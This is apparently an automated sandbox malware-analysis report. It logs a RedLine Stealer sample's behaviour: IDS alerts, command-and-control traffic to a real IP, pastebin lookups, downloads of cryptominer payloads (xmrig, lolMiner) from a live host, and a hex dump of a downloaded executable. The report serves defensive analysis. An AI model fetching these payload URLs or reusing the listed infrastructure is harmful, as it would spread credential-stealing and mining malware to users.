Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\extracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 06CF9973h	3_2_06CF9740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 06CFE533h	3_2_06CFE270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then inc dword ptr [ebp-20h]	3_2_06CF3E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 06CFCCABh	3_2_06CFCC93
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 06CFF83Dh	3_2_06CFF81C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then inc dword ptr [ebp-20h]	3_2_06CF4122
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 08E7AE03h	3_2_08E7AB30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 08E7D208h	3_2_08E7CD10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 08E7A8F7h	3_2_08E7A198
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	23_2_030C4668
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 032FD87Ah	23_2_032FD7B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 032FDA54h	23_2_032FD7B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 032FDA67h	23_2_032FD7B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 032FCC89h	23_2_032FC878
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 032FD794h	23_2_032FCCA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 032FD794h	23_2_032FD372
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 032FD794h	23_2_032FD370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 032FD87Ah	23_2_032FD7A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 032FDA54h	23_2_032FD7A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 032FD794h	23_2_032FD592
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then lea esp, dword ptr [ebp-0Ch]	23_2_032F6D0F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then lea esp, dword ptr [ebp-0Ch]	23_2_032F6D0D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 032FD794h	23_2_032FCC98

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2043231 - Severity 1 - ET MALWARE Redline Stealer TCP CnC Activity : 192.168.2.5:49704 -> 185.215.113.22:80
Source: Network traffic	Suricata IDS: 2046045 - Severity 1 - ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization) : 192.168.2.5:49704 -> 185.215.113.22:80
Source: Network traffic	Suricata IDS: 2043234 - Severity 1 - ET MALWARE Redline Stealer TCP CnC - Id1Response : 185.215.113.22:80 -> 192.168.2.5:49704

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 185.215.113.22:80

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: pastebin.com

Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe

Code function: 22_2_00301280 std::_Xinvalid_argument,GetTickCount,GetTickCount,Sleep,GetTickCount,GetModuleHandleW,GetSystemInfo,FindResourceW,LoadResource,URLDownloadToFileA,ShellExecuteA,GetProcAddress,LockResource,GetProcAddress,VirtualProtect,Concurrency::cancel_current_task,

22_2_00301280

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 29 Sep 2024 07:44:12 GMTContent-Type: application/octet-streamContent-Length: 3125704Last-Modified: Tue, 20 Aug 2024 12:02:17 GMTConnection: keep-aliveETag: "66c485c9-2fb1c8"Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 58 05 30 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 d4 4e 00 00 00 00 00 00 00 00 00 00 c0 75 2f 00 08 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d4 4e 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 a2 41 00 ff 36 50 8d 85 fc f6 ff ff 50 ff d7 83 c4 14 39 5e 10 89 5d fc 76 38 8d 5e 14 ff 33 8d 85 fc fe ff ff 68 90 a4 41 00 50 ff d7 83 c4 0c 8d 85 fc fe ff ff 50 8d 85 fc f6 ff ff 50 ff 15 78 a1 41 00 ff 45 fc 8b 45 fc 83 c3 04 3b 46 10 72 cb 8d 85 fc f6 ff ff 50 e8 7e 84 00 00 59 e8 d4 36 00 00 6a 0a ff 15 74 a1 41 00 cc ff 74 24 04 e8 44 ff ff ff cc 56 8b f1 e8 25 73 00 00 c7 06 a0 a4 41 00 c7 46 38 d2 07 00 00 8b c6 5e c3 6a 01 ff 71 04 ff 15 bc a2 41 00 c3 33 c0 39 05 60 ea 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 ff 35 58 ea 41 00 ff 15 b8 a2 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 1c 00 83 7c 24 08 00 75 07 c7 40 1c 01 00 00 00 33 c0 c2 08 00 a0 70 e9 41 00 f6 d8 1b c0 83 e0 0b 83 c0 08 c3 ff 74 24 10 8b 44 24 08 ff 74 24 10 c7 05 60 e9 41 00 2f 11 40 00 ff 74 24 10 8b 08 50 ff 51 0c 83 25 60 e9 41 00 00 c3 33 c0 c2 0c 00 8b 54 24 08 8b 4c 24 04 0f b7 02 66 89 01 41 41 42 42 66 85 c0 75 f1 c3 8b 4c 24 04 33 c0 66 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 29 Sep 2024 07:44:12 GMTContent-Type: application/octet-streamContent-Length: 3125704Last-Modified: Tue, 20 Aug 2024 12:02:17 GMTConnection: keep-aliveETag: "66c485c9-2fb1c8"Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 58 05 30 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 d4 4e 00 00 00 00 00 00 00 00 00 00 c0 75 2f 00 08 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d4 4e 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 a2 41 00 ff 36 50 8d 85 fc f6 ff ff 50 ff d7 83 c4 14 39 5e 10 89 5d fc 76 38 8d 5e 14 ff 33 8d 85 fc fe ff ff 68 90 a4 41 00 50 ff d7 83 c4 0c 8d 85 fc fe ff ff 50 8d 85 fc f6 ff ff 50 ff 15 78 a1 41 00 ff 45 fc 8b 45 fc 83 c3 04 3b 46 10 72 cb 8d 85 fc f6 ff ff 50 e8 7e 84 00 00 59 e8 d4 36 00 00 6a 0a ff 15 74 a1 41 00 cc ff 74 24 04 e8 44 ff ff ff cc 56 8b f1 e8 25 73 00 00 c7 06 a0 a4 41 00 c7 46 38 d2 07 00 00 8b c6 5e c3 6a 01 ff 71 04 ff 15 bc a2 41 00 c3 33 c0 39 05 60 ea 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 ff 35 58 ea 41 00 ff 15 b8 a2 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 1c 00 83 7c 24 08 00 75 07 c7 40 1c 01 00 00 00 33 c0 c2 08 00 a0 70 e9 41 00 f6 d8 1b c0 83 e0 0b 83 c0 08 c3 ff 74 24 10 8b 44 24 08 ff 74 24 10 c7 05 60 e9 41 00 2f 11 40 00 ff 74 24 10 8b 08 50 ff 51 0c 83 25 60 e9 41 00 00 c3 33 c0 c2 0c 00 8b 54 24 08 8b 4c 24 04 0f b7 02 66 89 01 41 41 42 42 66 85 c0 75 f1 c3 8b 4c 24 04 33 c0 66 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 29 Sep 2024 07:44:12 GMTContent-Type: application/octet-streamContent-Length: 3125704Last-Modified: Tue, 20 Aug 2024 12:02:17 GMTConnection: keep-aliveETag: "66c485c9-2fb1c8"Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 58 05 30 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 d4 4e 00 00 00 00 00 00 00 00 00 00 c0 75 2f 00 08 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d4 4e 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 a2 41 00 ff 36 50 8d 85 fc f6 ff ff 50 ff d7 83 c4 14 39 5e 10 89 5d fc 76 38 8d 5e 14 ff 33 8d 85 fc fe ff ff 68 90 a4 41 00 50 ff d7 83 c4 0c 8d 85 fc fe ff ff 50 8d 85 fc f6 ff ff 50 ff 15 78 a1 41 00 ff 45 fc 8b 45 fc 83 c3 04 3b 46 10 72 cb 8d 85 fc f6 ff ff 50 e8 7e 84 00 00 59 e8 d4 36 00 00 6a 0a ff 15 74 a1 41 00 cc ff 74 24 04 e8 44 ff ff ff cc 56 8b f1 e8 25 73 00 00 c7 06 a0 a4 41 00 c7 46 38 d2 07 00 00 8b c6 5e c3 6a 01 ff 71 04 ff 15 bc a2 41 00 c3 33 c0 39 05 60 ea 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 ff 35 58 ea 41 00 ff 15 b8 a2 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 1c 00 83 7c 24 08 00 75 07 c7 40 1c 01 00 00 00 33 c0 c2 08 00 a0 70 e9 41 00 f6 d8 1b c0 83 e0 0b 83 c0 08 c3 ff 74 24 10 8b 44 24 08 ff 74 24 10 c7 05 60 e9 41 00 2f 11 40 00 ff 74 24 10 8b 08 50 ff 51 0c 83 25 60 e9 41 00 00 c3 33 c0 c2 0c 00 8b 54 24 08 8b 4c 24 04 0f b7 02 66 89 01 41 41 42 42 66 85 c0 75 f1 c3 8b 4c 24 04 33 c0 66 39

Source: global traffic	HTTP traffic detected: GET /raw/dq3hWX27 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /conhost.exe HTTP/1.1Host: 147.45.47.81Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 104.20.3.235 104.20.3.235
Source: Joe Sandbox View	IP Address: 104.20.3.235 104.20.3.235
Source: Joe Sandbox View	IP Address: 185.215.113.22 185.215.113.22
Source: Joe Sandbox View	IP Address: 185.215.113.22 185.215.113.22
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic

HTTP traffic detected: GET /4Ak49WQH0GE3Nr.mp3 HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: joxi.netConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.22

Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe

22_2_00301280

Source: global traffic	HTTP traffic detected: GET /raw/dq3hWX27 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /conhost.exe HTTP/1.1Host: 147.45.47.81Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /4Ak49WQH0GE3Nr.mp3 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: joxi.netConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: api.ip.sb
Source: global traffic	DNS traffic detected: DNS query: joxi.net
Source: global traffic	DNS traffic detected: DNS query: pastebin.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Sep 2024 07:44:22 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.4.45Cache-Control: no-cacheVary: Accept-LanguageVary: Accept-LanguageCF-Cache-Status: BYPASSSet-Cookie: js=TDXdxR9wpSLEfe3duHHmkl2DL-m5CFjOCB8aEB3BMPMV6LAwi7quqy7NYHeLalZaDJDQeYWeP1SmJAhV6czAi3; path=/Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NrNfJO6YQEW%2BJa7wXSIGb5se52VS0%2FAdoigHXpNZkdQRQdFOjGFk%2BE7bNNrIFL%2BETpdYLqXksAvLOv2tEbfKameT9WcbPSGLvPr401JJZ0kjcqdr2KqALRP87g%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Speculation-Rules: "/cdn-cgi/speculation"Server: cloudflareCF-RAY: 8caa58fe49738c77-EWRContent-Encoding: gzipData Raw: 33 34 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 74 94 cf 8e db 36 10 c6 ef 7e 0a 56 17 49 85 2c 7a b7 0e 90 d6 92 80 a4 09 0a f4 90 f4 90 1c 0a c3 28 b8 14 2d 73 57 16 15 92 5e af 91 0d b0 f1 06 41 8b 2d 10 a0 b9 f5 0d 7a 73 36 eb d6 89 ff 04 e8 13 0c 5f a1 4f 52 50 b2 9d 14 41 75 10 21 ce 37 3f 72 46 fc 18 7d 71 ef e1 b7 8f 7e fc e1 3e 1a e8 61 9e 34 a2 dd c0 48 9a 34 10 42 28 1a 32 4d 10 1d 10 a9 98 8e 9d 91 ee 37 6f 3b db 90 e6 3a 67 c9 f7 e2 8c a3 7f 2e 5e 23 73 09 37 b0 81 37 b0 86 99 79 85 e0 83 b9 80 0d bc 35 17 30 83 15 ac 60 86 e0 06 96 e6 15 32 cf e1 bd b9 80 05 ac cd cf b0 31 53 d8 c0 35 82 05 aa 92 57 30 b7 00 64 5e c0 0c de c1 b2 4a 5e 20 f8 00 1b 9b 38 37 53 58 44 b8 5e ba de 46 ce 8b 13 34 90 ac 1f 3b b8 4f 4e 39 15 45 c8 a9 70 90 64 79 ec a8 81 90 9a 8e 34 b2 f3 0e d2 93 92 c5 0e 1f 92 8c e1 b3 66 35 f7 29 a6 4e d1 93 9c a9 01 63 da d9 71 31 4d 8b f0 58 9c f1 50 8e 30 51 8a 69 85 a9 52 b8 dd 6a 87 54 29 27 69 d4 10 45 25 2f 75 4d f4 fa a3 82 6a 2e 0a 8f 07 2a 10 41 16 c8 80 04 43 ff 29 ef ba df 09 91 e5 ec 4e 41 f2 89 e6 54 3d 3c 3a 66 54 bb bd 58 76 78 57 f6 62 fb 3a 3f df e7 fb 4f 2b 60 05 b5 a1 f0 49 5c 0f e7 e7 dd 9e 1f 96 23 35 f0 88 cc 46 43 56 68 e5 3f 0b aa 60 1e 1f 7c 59 b0 31 ba 47 34 f3 Data Ascii: 34ct6~VI,z(-sW^A-zs6_ORPAu!7?rF}q~>a4H4B(2M7o;:g.^#s77y50`21S5W0d^J^ 87SXD^F4;ON9Epdy4f5)Ncq1MXP0QiRjT)'iE%/uMj.*AC)NAT=<:fTXvxWb:?O+`I\#5FCVh?`|Y1G4

Source: RegAsm.exe, 00000003.00000002.2216914083.00000000031BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.81
Source: RegSvcs.exe, 00000017.00000002.2339213093.0000000003321000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.81/WatchDog.exe
Source: Installer.exe, 00000016.00000002.2282337473.000000000031C000.00000004.00000001.01000000.0000000D.sdmp, Installer.exe, 00000016.00000003.2281553518.0000000003542000.00000040.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.2334616398.0000000000402000.00000020.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.81/WatchDog.exeAhttp://147.45.47.81/lolMiner.exe;http://147.45.47.81/xmrig.exe
Source: RegSvcs.exe, 00000017.00000002.2339213093.0000000003321000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.81/WinRing0x64.sys
Source: Installer.exe, 00000016.00000002.2282337473.000000000031C000.00000004.00000001.01000000.0000000D.sdmp, Installer.exe, 00000016.00000003.2281553518.0000000003542000.00000040.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.2334616398.0000000000402000.00000020.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.81/WinRing0x64.sysChttps://pastebin.com/raw/dq3hWX27
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000031BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.81/conhost.exe
Source: RegSvcs.exe, 00000017.00000002.2339213093.0000000003321000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.81/lolMiner.exe
Source: RegSvcs.exe, 00000017.00000002.2339213093.0000000003321000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.81/xmrig.exe
Source: Installer.exe.20.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: conhost.exe.3.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003226000.00000004.00000800.00020000.00000000.sdmp, conhost.exe.3.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: Installer.exe.20.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA2.crl0t
Source: conhost.exe.3.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003226000.00000004.00000800.00020000.00000000.sdmp, conhost.exe.3.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
